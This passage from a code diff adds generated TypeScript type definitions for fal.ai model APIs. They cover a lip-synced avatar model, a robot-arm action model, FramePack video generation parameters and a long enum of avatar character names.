'Chris', + Brian: 'Brian', + Daniel: 'Daniel', + Lily: 'Lily', + Bill: 'Bill', +} as const + +export type InputFalAiFlashheadVoiceEnumKey = + (typeof inputFalAiFlashheadVoiceEnum)[keyof typeof inputFalAiFlashheadVoiceEnum] + +export type InputFalAiFlashhead = { + /** + * @description ElevenLabs voice name. + * @default 'Aria' + * @type string | undefined + */ + voice?: InputFalAiFlashheadVoiceEnumKey + /** + * @description URL of the face reference image. Portrait recommended. + * @example https://v3.fal.media/files/koala/gmpc0QevDF9bBsL1EAYVF_1c637094161147559f0910a68275dc34.png + * @type string + */ + image_url: string + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Text to speak. Converted to speech via ElevenLabs. + * @example Hello there! How are you doing today? + * @type string + */ + text: string + /** + * @description Voice stability (0-1). + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type File88E72Db4 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFlashhead = { + /** + * @description Generated lip-synced avatar video (512x512, 25 FPS). + * @example {"url":"https://v3.fal.media/files/tiger/bU0aYBX1nBFPAQ6txkP-Y_flashhead.mp4"} + * @type object + */ + video: File88E72Db4 + /** + * @description Video duration in seconds. + * @type number + */ + duration: number + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing breakdown. + * @type object | undefined + */ + timings?: { + [key: string]: number + } +} + +export type InputFalAiFlux3ActionSo101 = { + /** + * @description Current frame from the wrist camera (tiled right). Resized to 256x256. + * @example https://v3b.fal.media/files/b/0aaba0cf/qyaj49X3PZc70wJwz90f1_wrist.png + * @type string + */ + wrist_image_url: string + /** + * @description Sampling seed. Omit for a random seed; the reference evaluation seed is 0 for DROID and 42 for SO-101. + */ + seed?: number | null + /** + * @description Classifier-free guidance on video and action; 1.0 disables CFG. + * @minimum 1 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Current frame from the fixed scene camera (tiled left). Resized to 256x256. + * @example https://v3b.fal.media/files/b/0aaba0cf/rbESQ2h5nozh5K8Ms1FDm_scene.png + * @type string + */ + scene_image_url: string + /** + * @description Measured states at the 7 control ticks (30 Hz) before `state`, oldest first. Requires `command_history`. Omit for a fresh episode. + */ + state_history?: number[][] | null + /** + * @description Euler denoising steps. The checkpoint was validated at 4. + * @minimum 1 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Absolute commands in effect at each of the 8 observation ticks, oldest first; the last row is the most recent command sent. Requires `state_history`. + */ + command_history?: number[][] | null + /** + * @description Wrist frame from the oldest history tick. Requires `state_history`. + */ + history_wrist_image_url?: string | null + /** + * @description Measured state: shoulder pan, shoulder lift, elbow flex, wrist flex, wrist roll (degrees), gripper (percent). + * @example [-18.94,134.52,120.15,28.3,-32.17,27.02] + * @type array + */ + state: number[] + /** + * @description Natural-language task instruction for the robot. + * @minLength 1 + * @maxLength 2000 + * @example place the box in the container + * @type string + */ + prompt: string + /** + * @description Scene frame from the oldest history tick (7 ticks before now). Requires `state_history`. Defaults to the current frame. + */ + history_scene_image_url?: string | null +} + +export type OutputFalAiFlux3ActionSo101 = { + /** + * @description Name of each action column. + * @type array + */ + action_labels: string[] + /** + * @description Seed used for sampling. + * @type integer + */ + seed: number + /** + * @description Server-side timings in seconds. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Control rate of the action rows. + * @type number + */ + action_hz: number + /** + * @description Execute this many leading actions, then request a new chunk. + * @type integer + */ + execute_steps: number + /** + * @description Predicted action chunk, one row per control step in time order. DROID: 32x8 absolute joint targets (rad) plus gripper closed fraction at 15 Hz. SO-101: 42x6 absolute commands (deg, gripper %) at 30 Hz. Not clipped: enforce joint, velocity and workspace limits on the robot. + * @type array + */ + actions: number[][] +} + +export const inputFalAiFramepackAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiFramepackAspectRatioEnumKey = + (typeof inputFalAiFramepackAspectRatioEnum)[keyof typeof inputFalAiFramepackAspectRatioEnum] + +export const inputFalAiFramepackResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputFalAiFramepackResolutionEnumKey = + (typeof inputFalAiFramepackResolutionEnum)[keyof typeof inputFalAiFramepackResolutionEnum] + +export type InputFalAiFramepack = { + /** + * @description The number of frames to generate. + * @minimum 30 + * @maximum 900 + * @default 180 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiFramepackAspectRatioEnumKey + /** + * @description Classifier-Free Guidance scale for the generation. + * @minimum 0 + * @maximum 7 + * @default 1 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The resolution of the video to generate. 720p generations cost 1.5x more than 480p generations. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiFramepackResolutionEnumKey + /** + * @description URL of the image input. + * @example https://storage.googleapis.com/falserverless/framepack/framepack.jpg + * @type string + */ + image_url: string + /** + * @description Negative prompt for video generation. + * @default '' + * @example Ugly, blurry distorted, bad quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Text prompt for video generation (max 500 characters). + * @example A mesmerising video of a deep sea jellyfish moving through an inky-black ocean. The jellyfish glows softly with an amber bioluminescence. The overall scene is lifelike. + * @type string + */ + prompt: string + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 32 + * @default 10 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File8E4A8Fd6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFramepack = { + /** + * @example {"url":"https://storage.googleapis.com/falserverless/framepack/TfJPbwm6_D60dcWEv9LVX_output_video.mp4"} + * @type object + */ + video: File8E4A8Fd6 + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number +} + +export const inputFalAiFramepackF1AspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiFramepackF1AspectRatioEnumKey = + (typeof inputFalAiFramepackF1AspectRatioEnum)[keyof typeof inputFalAiFramepackF1AspectRatioEnum] + +export const inputFalAiFramepackF1ResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputFalAiFramepackF1ResolutionEnumKey = + (typeof inputFalAiFramepackF1ResolutionEnum)[keyof typeof inputFalAiFramepackF1ResolutionEnum] + +export type InputFalAiFramepackF1 = { + /** + * @description The number of frames to generate. + * @minimum 30 + * @maximum 900 + * @default 180 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiFramepackF1AspectRatioEnumKey + /** + * @description Classifier-Free Guidance scale for the generation. + * @minimum 0 + * @maximum 7 + * @default 1 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The resolution of the video to generate. 720p generations cost 1.5x more than 480p generations. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiFramepackF1ResolutionEnumKey + /** + * @description URL of the image input. + * @example https://storage.googleapis.com/falserverless/framepack/framepack.jpg + * @type string + */ + image_url: string + /** + * @description Negative prompt for video generation. + * @default '' + * @example Ugly, blurry distorted, bad quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Text prompt for video generation (max 500 characters). + * @example A mesmerising video of a deep sea jellyfish moving through an inky-black ocean. The jellyfish glows softly with an amber bioluminescence. The overall scene is lifelike. + * @type string + */ + prompt: string + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 32 + * @default 10 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2B3Dd0Bc = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFramepackF1 = { + /** + * @example {"url":"https://storage.googleapis.com/falserverless/framepack/TfJPbwm6_D60dcWEv9LVX_output_video.mp4"} + * @type object + */ + video: File2B3Dd0Bc + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number +} + +export const inputFalAiFramepackFlf2VResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputFalAiFramepackFlf2VResolutionEnumKey = + (typeof inputFalAiFramepackFlf2VResolutionEnum)[keyof typeof inputFalAiFramepackFlf2VResolutionEnum] + +export const inputFalAiFramepackFlf2VAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiFramepackFlf2VAspectRatioEnumKey = + (typeof inputFalAiFramepackFlf2VAspectRatioEnum)[keyof typeof inputFalAiFramepackFlf2VAspectRatioEnum] + +export type InputFalAiFramepackFlf2V = { + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 32 + * @default 10 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of frames to generate. + * @minimum 30 + * @maximum 1800 + * @default 240 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Determines the influence of the final frame on the generated video. Higher values result in the output being more heavily influenced by the last frame. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description Classifier-Free Guidance scale for the generation. + * @minimum 0 + * @maximum 7 + * @default 1 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The resolution of the video to generate. 720p generations cost 1.5x more than 480p generations. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiFramepackFlf2VResolutionEnumKey + /** + * @description URL of the image input. + * @example https://storage.googleapis.com/falserverless/web-examples/wan_flf/first_frame.png + * @type string + */ + image_url: string + /** + * @description Negative prompt for video generation. + * @default '' + * @example Ugly, blurry distorted, bad quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Text prompt for video generation (max 500 characters). + * @example A tabby cat is confidely strolling toward the camera, when it spins and with a flash of magic reveals itself to be a cat-dragon hybrid with glistening amber scales. + * @type string + */ + prompt: string + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description URL of the end image input. + * @example https://storage.googleapis.com/falserverless/web-examples/wan_flf/last_frame.png + * @type string + */ + end_image_url: string + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiFramepackFlf2VAspectRatioEnumKey + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB611A15D = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFramepackFlf2V = { + /** + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/flf2v.mp4"} + * @type object + */ + video: FileB611A15D + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number +} + +export type TextVoice = { + /** + * @description The text that the avatar will speak in the video + * @example The Tesla Cybertruck is a battery-electric full-size pickup truck manufactured by Tesla, Inc. since 2023. + */ + prompt?: string | null + /** + * @description Direct voice ID. When provided, this is used instead of looking up the voice by name. + */ + voice_id?: string | null + /** + * @description Name of the voice to use for the avatar + * @example Charming Charlie - Excited 🤩 + */ + voice?: string | null + /** + * @description Speed of the speech (0.5 to 2.0) + * @default 1 + * @example 1 + * @example 1.1 + * @example 0.9 + */ + speed?: number | null +} + +export const characterAvatarStyleEnum = { + normal: 'normal', + circle: 'circle', + closeUp: 'closeUp', +} as const + +export type CharacterAvatarStyleEnumKey = + (typeof characterAvatarStyleEnum)[keyof typeof characterAvatarStyleEnum] + +export const characterAvatarEnum = { + 'Abigail (Upper Body)': 'Abigail (Upper Body)', + 'Abigail Office Front': 'Abigail Office Front', + 'Abigail Office Side': 'Abigail Office Side', + 'Abigail Sofa Front': 'Abigail Sofa Front', + 'Abigail Sofa Side': 'Abigail Sofa Side', + 'Aditya in Brown blazer': 'Aditya in Brown blazer', + 'Aditya in Blue blazer': 'Aditya in Blue blazer', + 'Aditya in Blue shirt': 'Aditya in Blue shirt', + 'Aditya in Blue t-shirt': 'Aditya in Blue t-shirt', + 'Aditya in Beige blazer': 'Aditya in Beige blazer', + 'Adrian in Blue Shirt': 'Adrian in Blue Shirt', + 'Adrian in Blue Suit': 'Adrian in Blue Suit', + 'Adrian in Blue Sweater': 'Adrian in Blue Sweater', + 'Adriana BizTalk Front': 'Adriana BizTalk Front', + 'Adriana BizTalk Side': 'Adriana BizTalk Side', + 'Adriana Business Front 2': 'Adriana Business Front 2', + 'Adriana Business Front ': 'Adriana Business Front ', + 'Adriana Business Side': 'Adriana Business Side', + 'Adriana Nurse Front 2': 'Adriana Nurse Front 2', + 'Adriana Nurse Front': 'Adriana Nurse Front', + 'Adriana Nurse Side 2': 'Adriana Nurse Side 2', + 'Adriana Nurse Side': 'Adriana Nurse Side', + 'Adriana Nurse Sitting Side': 'Adriana Nurse Sitting Side', + 'Adriana SuitSofa Front': 'Adriana SuitSofa Front', + Aiko: 'Aiko', + 'Albert in Blue Polo shirt': 'Albert in Blue Polo shirt', + 'Albert in Blue blazer': 'Albert in Blue blazer', + 'Albert in Blue shirt': 'Albert in Blue shirt', + 'Albert in Blue suit': 'Albert in Blue suit', + 'Albert in Khaki blazer': 'Albert in Khaki blazer', + 'Albert in White shirt': 'Albert in White shirt', + 'Amanda in Blue Shirt (Front)': 'Amanda in Blue Shirt (Front)', + 'Amanda in Blue Shirt (Left)': 'Amanda in Blue Shirt (Left)', + 'Amanda in Blue Shirt (Right)': 'Amanda in Blue Shirt (Right)', + 'Amanda in Grey Shirt (Front)': 'Amanda in Grey Shirt (Front)', + 'Amanda in Grey Shirt (Left)': 'Amanda in Grey Shirt (Left)', + 'Amanda in Grey Shirt (Right)': 'Amanda in Grey Shirt (Right)', + 'Amanda in Maintenance (Front)': 'Amanda in Maintenance (Front)', + 'Amanda in Maintenance (Left)': 'Amanda in Maintenance (Left)', + 'Amanda in Maintenance (Right)': 'Amanda in Maintenance (Right)', + 'Amelia Business Training Front 2': 'Amelia Business Training Front 2', + 'Amelia Business Training Front': 'Amelia Business Training Front', + 'Amelia Business Training Side 2': 'Amelia Business Training Side 2', + 'Amelia Business Training Side': 'Amelia Business Training Side', + 'Amelia Lounge Front 2': 'Amelia Lounge Front 2', + 'Amelia Lounge Front': 'Amelia Lounge Front', + 'Amelia Lounge Side 2': 'Amelia Lounge Side 2', + 'Amelia Lounge Side': 'Amelia Lounge Side', + 'Amelia Yoga Front 2': 'Amelia Yoga Front 2', + 'Amelia Yoga Front': 'Amelia Yoga Front', + 'Amelia Yoga Side 2': 'Amelia Yoga Side 2', + 'Amelia Yoga Side': 'Amelia Yoga Side', + 'Alex in Black Suit': 'Alex in Black Suit', + 'Alex in Jacket': 'Alex in Jacket', + 'Alex in White Coat': 'Alex in White Coat', + 'Alex in Yellow Sweater': 'Alex in Yellow Sweater', + 'Anja Office Front': 'Anja Office Front', + 'Anja Office Side ': 'Anja Office Side ', + 'Anja Sofa Front': 'Anja Sofa Front', + 'Anja Sofa Side ': 'Anja Sofa Side ', + 'Ann Business Front': 'Ann Business Front', + 'Ann Business Sitting': 'Ann Business Sitting', + 'Ann Casual Front': 'Ann Casual Front', + 'Ann Casual Lying': 'Ann Casual Lying', + 'Ann Casual Sitting 2': 'Ann Casual Sitting 2', + 'Ann Casual Sitting': 'Ann Casual Sitting', + 'Ann Doctor Sitting': 'Ann Doctor Sitting', + 'Ann Doctor Standing': 'Ann Doctor Standing', + 'Ann Sweater Front': 'Ann Sweater Front', + 'Ann Sweater Side': 'Ann Sweater Side', + 'Ann Therapist': 'Ann Therapist', + 'Anna in White T-shirt': 'Anna in White T-shirt', + 'Anna in Turtleneck T-shirt': 'Anna in Turtleneck T-shirt', + 'Anna in Brown T-shirt': 'Anna in Brown T-shirt', + 'Annelise in Dark blue dress': 'Annelise in Dark blue dress', + 'Annelise in Off white dress': 'Annelise in Off white dress', + 'Annelise in Sky blue dress': 'Annelise in Sky blue dress', + 'Annelise in White dress': 'Annelise in White dress', + 'Annelore in Blue blazer': 'Annelore in Blue blazer', + 'Annelore in Blue dress': 'Annelore in Blue dress', + 'Annelore in Red blazer': 'Annelore in Red blazer', + 'Annelore in Red sweater': 'Annelore in Red sweater', + 'Annelore in White shirt': 'Annelore in White shirt', + 'Annie in Grey Jacket': 'Annie in Grey Jacket', + 'Annie in White Shirt': 'Annie in White Shirt', + 'Annie in Tan Jacket': 'Annie in Tan Jacket', + 'Annie in Blue Casual': 'Annie in Blue Casual', + 'Annie in Light Blue': 'Annie in Light Blue', + 'Annie in Brown Shirt': 'Annie in Brown Shirt', + 'Annie in Black Shirt': 'Annie in Black Shirt', + 'Annie in Pink Suit': 'Annie in Pink Suit', + 'Annie in Grey Dress': 'Annie in Grey Dress', + 'Annie in Blue Vest': 'Annie in Blue Vest', + 'Annie in Black V-neck Shirt': 'Annie in Black V-neck Shirt', + 'Annie in Blue Suit': 'Annie in Blue Suit', + 'Annie Bar Sitting Front': 'Annie Bar Sitting Front', + 'Annie Bar Sitting Side': 'Annie Bar Sitting Side', + 'Annie Bar Standing Front 2': 'Annie Bar Standing Front 2', + 'Annie Bar Standing Front 3': 'Annie Bar Standing Front 3', + 'Annie Bar Standing Front': 'Annie Bar Standing Front', + 'Annie Bar Standing Side 2': 'Annie Bar Standing Side 2', + 'Annie Bar Standing Side 3': 'Annie Bar Standing Side 3', + 'Annie Bar Standing Side': 'Annie Bar Standing Side', + 'Annie Business Casual Standing Front 2': + 'Annie Business Casual Standing Front 2', + 'Annie Business Casual Standing Front': + 'Annie Business Casual Standing Front', + 'Annie Business Casual Standing Side 2': + 'Annie Business Casual Standing Side 2', + 'Annie Business Casual Standing Side': 'Annie Business Casual Standing Side', + 'Annie Casual Sitting Front 2': 'Annie Casual Sitting Front 2', + 'Annie Casual Sitting Front': 'Annie Casual Sitting Front', + 'Annie Casual Sitting Side 2': 'Annie Casual Sitting Side 2', + 'Annie Casual Sitting Side': 'Annie Casual Sitting Side', + 'Annie Casual Standing Front 2': 'Annie Casual Standing Front 2', + 'Annie Casual Standing Front': 'Annie Casual Standing Front', + 'Annie Casual Standing Side 2': 'Annie Casual Standing Side 2', + 'Annie Casual Standing Side': 'Annie Casual Standing Side', + 'Annie Desk Sitting Front 2': 'Annie Desk Sitting Front 2', + 'Annie Desk Sitting Front': 'Annie Desk Sitting Front', + 'Annie Desk Sitting Side 2': 'Annie Desk Sitting Side 2', + 'Annie Desk Sitting Side': 'Annie Desk Sitting Side', + 'Annie Lounge Standing Front': 'Annie Lounge Standing Front', + 'Annie Lounge Standing Side': 'Annie Lounge Standing Side', + 'Annie Office Sitting Front 2': 'Annie Office Sitting Front 2', + 'Annie Office Sitting Front': 'Annie Office Sitting Front', + 'Annie Office Sitting Side 2': 'Annie Office Sitting Side 2', + 'Annie Office Sitting Side': 'Annie Office Sitting Side', + 'Annie Office Standing Front': 'Annie Office Standing Front', + 'Annie Office Standing Side': 'Annie Office Standing Side', + 'Annie Sofa Sitting Front 3': 'Annie Sofa Sitting Front 3', + 'Annie Sofa Sitting Front': 'Annie Sofa Sitting Front', + 'Annie Sofa Sitting Side 2': 'Annie Sofa Sitting Side 2', + 'Annie Sofa Sitting Side 3': 'Annie Sofa Sitting Side 3', + 'Annie Sofa Sitting Side': 'Annie Sofa Sitting Side', + 'Annie Sofa Sitting Front 2': 'Annie Sofa Sitting Front 2', + 'Annie Studio Pink Sitting Front': 'Annie Studio Pink Sitting Front', + 'Annie Studio Pink Sitting Side': 'Annie Studio Pink Sitting Side', + 'Annie Studio Pink Standing Front': 'Annie Studio Pink Standing Front', + 'Annie Studio Pink Standing Side': 'Annie Studio Pink Standing Side', + 'Armando Casual Front': 'Armando Casual Front', + 'Armando Casual Side': 'Armando Casual Side', + 'Armando Suit Front': 'Armando Suit Front', + 'Armando Suit Side': 'Armando Suit Side', + 'Armando Sweater Front 2': 'Armando Sweater Front 2', + 'Armando Sweater Front': 'Armando Sweater Front', + 'Armando Sweater Side 2': 'Armando Sweater Side 2', + 'Armando Sweater Side': 'Armando Sweater Side', + 'Artur Office Front 2': 'Artur Office Front 2', + 'Artur Office Front': 'Artur Office Front', + 'Artur Office Side 2': 'Artur Office Side 2', + 'Artur Office Side': 'Artur Office Side', + 'Artur Sofa Casual Front 2': 'Artur Sofa Casual Front 2', + 'Artur Sofa Casual Front': 'Artur Sofa Casual Front', + 'Artur Sofa Casual Side 2': 'Artur Sofa Casual Side 2', + 'Artur Sofa Causal Side': 'Artur Sofa Causal Side', + 'Aubrey Sofa Side': 'Aubrey Sofa Side', + 'Aubrey (Upper Body)': 'Aubrey (Upper Body)', + 'Aubrey Night Scene Front': 'Aubrey Night Scene Front', + 'Aubrey Outdoor Sport Front': 'Aubrey Outdoor Sport Front', + 'Aubrey Outdoor Sport Side': 'Aubrey Outdoor Sport Side', + 'Aubrey Sofa Front': 'Aubrey Sofa Front', + 'August Casual Front 2': 'August Casual Front 2', + 'August Casual Front': 'August Casual Front', + 'August Cool Sitting': 'August Cool Sitting', + 'August Cool Style': 'August Cool Style', + 'August Employee Front': 'August Employee Front', + 'August Hoodies Front 2': 'August Hoodies Front 2', + 'August Hoodies Front': 'August Hoodies Front', + 'Bahar (Upper Body)': 'Bahar (Upper Body)', + 'Bahar Business Front': 'Bahar Business Front', + 'Bahar Business Side': 'Bahar Business Side', + 'Bahar Business Sitting Front': 'Bahar Business Sitting Front', + 'Bahar Business Sitting Side': 'Bahar Business Sitting Side', + 'Bahar Casual Sitting Front 2': 'Bahar Casual Sitting Front 2', + 'Bahar Casual Sitting Front': 'Bahar Casual Sitting Front', + 'Bahar Casual Sitting Side 2': 'Bahar Casual Sitting Side 2', + 'Bahar Casual Sitting Side': 'Bahar Casual Sitting Side', + 'Bahar Denim Casual Front': 'Bahar Denim Casual Front', + 'Bahar Denim Casual Side': 'Bahar Denim Casual Side', + 'Bahar Denim Front': 'Bahar Denim Front', + 'Bahar Denim Side': 'Bahar Denim Side', + 'Bahar Jacket Casual Front': 'Bahar Jacket Casual Front', + 'Bahar Jacket Casual Side': 'Bahar Jacket Casual Side', + 'Bahar Jacket Front': 'Bahar Jacket Front', + 'Bahar Jacket Side': 'Bahar Jacket Side', + 'Bahar Suit Front': 'Bahar Suit Front', + 'Bahar Suit Side': 'Bahar Suit Side', + 'Bastien in Blue T-shirt': 'Bastien in Blue T-shirt', + 'Bastien in Blue blazer': 'Bastien in Blue blazer', + 'Bastien in Blue shirt': 'Bastien in Blue shirt', + 'Bastien in White shirt': 'Bastien in White shirt', + 'Blanka Lounge Front': 'Blanka Lounge Front', + 'Blanka Lounge Side': 'Blanka Lounge Side', + 'Blanka Outdoor Business Front': 'Blanka Outdoor Business Front', + 'Blanka Outdoor Business Side': 'Blanka Outdoor Business Side', + 'Blanka Outdoor Reading Front': 'Blanka Outdoor Reading Front', + 'Blanka Outdoor Reading Side': 'Blanka Outdoor Reading Side', + 'Blanka Picnic Front': 'Blanka Picnic Front', + 'Blanka Picnic Side': 'Blanka Picnic Side', + 'Bojan Business Training Front 2': 'Bojan Business Training Front 2', + 'Bojan Business Training Front': 'Bojan Business Training Front', + 'Bojan Business Training Side 2': 'Bojan Business Training Side 2', + 'Bojan Business Training Side': 'Bojan Business Training Side', + 'Bojan Lounge Front 2': 'Bojan Lounge Front 2', + 'Bojan Lounge Front': 'Bojan Lounge Front', + 'Bojan Lounge Side 2': 'Bojan Lounge Side 2', + 'Bojan Lounge Side': 'Bojan Lounge Side', + 'Bojan Sport Front 2': 'Bojan Sport Front 2', + 'Bojan Sport Front': 'Bojan Sport Front', + 'Bojan Sport Side 2': 'Bojan Sport Side 2', + 'Bojan Sport Side': 'Bojan Sport Side', + 'Bradley in Blue Polo (Front)': 'Bradley in Blue Polo (Front)', + 'Bradley in Blue Polo (Left)': 'Bradley in Blue Polo (Left)', + 'Bradley in Blue Polo (Right)': 'Bradley in Blue Polo (Right)', + 'Bradley in Blue Shirt (Front)': 'Bradley in Blue Shirt (Front)', + 'Bradley in Blue Shirt (Left)': 'Bradley in Blue Shirt (Left)', + 'Bradley in Blue Shirt (Right)': 'Bradley in Blue Shirt (Right)', + 'Bradley in Doctor (Front)': 'Bradley in Doctor (Front)', + 'Bradley in Doctor (Left)': 'Bradley in Doctor (Left)', + 'Bradley in Doctor (Right)': 'Bradley in Doctor (Right)', + 'Brandon in Grey Suit': 'Brandon in Grey Suit', + 'Brandon in Blue Sweater': 'Brandon in Blue Sweater', + 'Brandon in White Shirt': 'Brandon in White Shirt', + 'Brandon Business Sitting Front': 'Brandon Business Sitting Front', + 'Brandon Business Sitting Side': 'Brandon Business Sitting Side', + 'Brandon Business Standing Front': 'Brandon Business Standing Front', + 'Brandon Business Standing Side': 'Brandon Business Standing Side', + 'Brandon Casual Sitting Front': 'Brandon Casual Sitting Front', + 'Brandon Casual Sitting Side': 'Brandon Casual Sitting Side', + 'Brandon Kitchen Standing Front': 'Brandon Kitchen Standing Front', + 'Brandon Kitchen Standing Side': 'Brandon Kitchen Standing Side', + 'Brandon Lobby Sitting Front': 'Brandon Lobby Sitting Front', + 'Brandon Lobby Sitting Side': 'Brandon Lobby Sitting Side', + 'Brandon Lobby Standing Front': 'Brandon Lobby Standing Front', + 'Brandon Lobby Standing Side': 'Brandon Lobby Standing Side', + 'Brandon Office Sitting Front': 'Brandon Office Sitting Front', + 'Brandon Office Sitting Side': 'Brandon Office Sitting Side', + 'Brandon Office Standing Front': 'Brandon Office Standing Front', + 'Brandon Office Standing Side': 'Brandon Office Standing Side', + 'Brandon Sofa Sitting Front': 'Brandon Sofa Sitting Front', + 'Brandon Sofa Sitting Side': 'Brandon Sofa Sitting Side', + 'Brent Office Front 2': 'Brent Office Front 2', + 'Brent Office Front': 'Brent Office Front', + 'Brent Office Side 2': 'Brent Office Side 2', + 'Brent Office Side': 'Brent Office Side', + 'Brent Sofa Front 2': 'Brent Sofa Front 2', + 'Brent Sofa Front': 'Brent Sofa Front', + 'Brent Sofa Side 2': 'Brent Sofa Side 2', + 'Brent Sofa Side': 'Brent Sofa Side', + 'Briana in White shirt': 'Briana in White shirt', + 'Briana in Striped T-shirt': 'Briana in Striped T-shirt', + 'Briana in Brown suit': 'Briana in Brown suit', + Bruce: 'Bruce', + 'Bryan Casual Front': 'Bryan Casual Front', + 'Bryan Casual Side': 'Bryan Casual Side', + 'Bryan Fitness Coach': 'Bryan Fitness Coach', + 'Bryan Tech Expert': 'Bryan Tech Expert', + 'Bryan Plaid Shirt Front': 'Bryan Plaid Shirt Front', + 'Bryan Plaid Shirt Side': 'Bryan Plaid Shirt Side', + 'Bryan Suit Front': 'Bryan Suit Front', + 'Bryan Suit Side': 'Bryan Suit Side', + 'Bryce in Black t-shirt': 'Bryce in Black t-shirt', + 'Bryce in Blue blazer': 'Bryce in Blue blazer', + 'Bryce in Blue shirt': 'Bryce in Blue shirt', + 'Bryce in Grey blazer': 'Bryce in Grey blazer', + 'Bryce in White shirt': 'Bryce in White shirt', + 'Byron Business Front 2': 'Byron Business Front 2', + 'Byron Business Front': 'Byron Business Front', + 'Byron Business Side 2': 'Byron Business Side 2', + 'Byron Business Side': 'Byron Business Side', + 'Byron Business Sitting Front': 'Byron Business Sitting Front', + 'Byron Business Sitting Size': 'Byron Business Sitting Size', + 'Byron Casual Front 2': 'Byron Casual Front 2', + 'Byron Casual Front': 'Byron Casual Front', + 'Byron Casual Side 2': 'Byron Casual Side 2', + 'Byron Casual Side': 'Byron Casual Side', + 'Byron Casual Sitting Front': 'Byron Casual Sitting Front', + 'Byron Casual Sitting Side': 'Byron Casual Sitting Side', + 'Byron Jacket Front': 'Byron Jacket Front', + 'Byron Jacket Side': 'Byron Jacket Side', + 'Byron Sitting Front': 'Byron Sitting Front', + 'Byron Sitting Side': 'Byron Sitting Side', + 'Byron Suit Front': 'Byron Suit Front', + 'Byron Suit Side': 'Byron Suit Side', + 'Candace in Beige Dress (Front)': 'Candace in Beige Dress (Front)', + 'Candace in Beige Dress (Left)': 'Candace in Beige Dress (Left)', + 'Candace in Beige Dress (Right)': 'Candace in Beige Dress (Right)', + 'Candace in Doctor (Front)': 'Candace in Doctor (Front)', + 'Candace in Doctor (Left)': 'Candace in Doctor (Left)', + 'Candace in Doctor (Right)': 'Candace in Doctor (Right)', + 'Candace in Pink Blazer (Front)': 'Candace in Pink Blazer (Front)', + 'Candace in Pink Blazer (Right)': 'Candace in Pink Blazer (Right)', + 'Candace in Pink Blazer (Left)': 'Candace in Pink Blazer (Left)', + 'Carla in Doctor (Front)': 'Carla 